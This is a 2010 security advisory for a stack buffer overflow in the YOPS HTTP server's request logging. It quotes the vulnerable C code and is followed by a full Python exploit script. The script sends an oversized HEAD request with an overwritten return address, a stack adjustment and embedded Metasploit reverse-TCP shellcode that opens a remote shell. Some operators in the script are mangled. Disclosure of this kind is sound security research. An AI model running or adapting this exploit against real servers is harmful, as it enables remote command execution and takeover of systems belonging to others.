[DCA-00015]

[Software]

• YOPS (Your Open Personal [WEB] Server)

[Vendor Product Description]

• YOPS (Your Own Personal [WEB] Server) is a small SEDA-like HTTP
  server for Linux OS written in C. There are 7 stages (accept, parse,
  launch, fetch, error, send and log), and pipes are used as interstage
  channels.

[Bug Description]

• In function http_parse_request_header the application fails to do a
  boundary check for a malformed buffer received as a HTTP command
  (HEAD/GET/POST), prior to use it as input for logger variable at
  swebs_record_log function.

— http.c snippet —
int http_parse_request_header(char *data, struct http_request_header *h)
{
int r;
int ver, rev;
char *s, *tok, *l, *prm;
[…]
r = sscanf(h->http, " HTTP/%d.%d ", &ver, &rev);
if (r != 2)
return -400;
[…]
}
— END snippet —

— swebs.c snippet —
int swebs_record_log(int log, JOB *job)
{
int err;
time_t now;
char timestr[32];
char logrec[MAX_REQUEST_LINE_LEN + 1];
[…]
sprintf (
logrec,
"%s\t[%s]\t\"%s\"\t(%d+%d/%d)\t%d",
job->client,
timestr,
job->hdr.request_line,
job->response_hlen,
job->response_blen_sent,
job->response_blen,
job->status
);
[…]
}
— END snippet —

[History]

• Advisory sent to vendor on 08/26/2010

[Impact]

• High (Remote Command Execution)

[Affected Version]

• YOPS 2009-11-30

• Prior versions may also be vulnerable

[Code]

#!/usr/bin/python

Software:

YOPS (Your Own Personal [WEB] Server) is a small SEDA-like HTTP

server for Linux OS written in C.

URL: http://sourceforge.net/projects/yops2009/

Vulnerability: Rodrigo Escobar aka ipax @ DcLabs

Exploit: Flavio do Carmo Junior aka waKKu @ DcLabs

Contact: waKKu <AT> dclabs <DOT> com <DOT> br

HOST = "localhost"
PORT = 8888

import socket
import sys
import time

try:
BUFF_LEN = int(sys.argv[1])
except:
BUFF_LEN = 802
FIXUP_ADDR = "\x47\xce\x04\x08"

shellcode = (

MetaSploit Reverse TCP Shell. Host: 127.0.0.1 - Port: 4444

"\x33\xc9\xb1\x13\xbe\xae\x88\x55\xcb\xda\xcd\xd9\x74\x24\xf4"
"\x5f\x31\x77\x0e\x03\x77\x0e\x83\x69\x8c\xb7\x3e\x44\x56\xc0"
"\x22\xf5\x2b\x7c\xcf\xfb\x22\x63\xbf\x9d\xf9\xe4\x9b\x3f\x6a"
"\x9a\x1b\xbf\x6b\x02\x74\xae\x37\xac\xd7\xba\xd7\x61\x88\xb3"
"\x39\xc2\x42\xa5\xe1\x08\x12\x70\x95\x4a\xa3\xbd\x54\xec\x8d"
"\xb8\x9f\xbd\x65\x15\x4f\x4d\x1e\x01\xa0\xd3\xb7\xbf\x37\xf0"
"\x18\x6c\xc1\x16\x28\x99\x1c\x58\x43"
)

buffer = "HEAD "
buffer += "A"BUFF_LEN
buffer += FIXUP_ADDR4
buffer += " HTTP/1.1"

stackadjust = (
"\xcb" # instruction alignment
"\xbc\x69\x69\x96\xb0" # Stack Adjustment
)

payload = buffer + stackadjust + shellcode + "\r\n\r\n"

print """
######################################

DcLabs Security Research Group

+Exploit+

######################################
Software: YOPS 2009 - Web Server

Vulnerability by: ipax
Exploit by: waKKu
Greetings to: All DcLabs members
"""

print " [+] Using BUFF_LEN -> ", str(BUFF_LEN)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print " [+] Trying to establish connection…"
s.connect((HOST, PORT))
print " [+] Sending a dummy request to initialize data…"
s.send("HEAD DcLabs HTTP/1.1\r\n\r\n")
try:
s.recv(1024)
except:
pass
s.close()

time.sleep(3)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print " [+] Sending our malicious payload…"
s.send(payload)
print " [+] Payload sent, good luck!"
s.close()

–
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br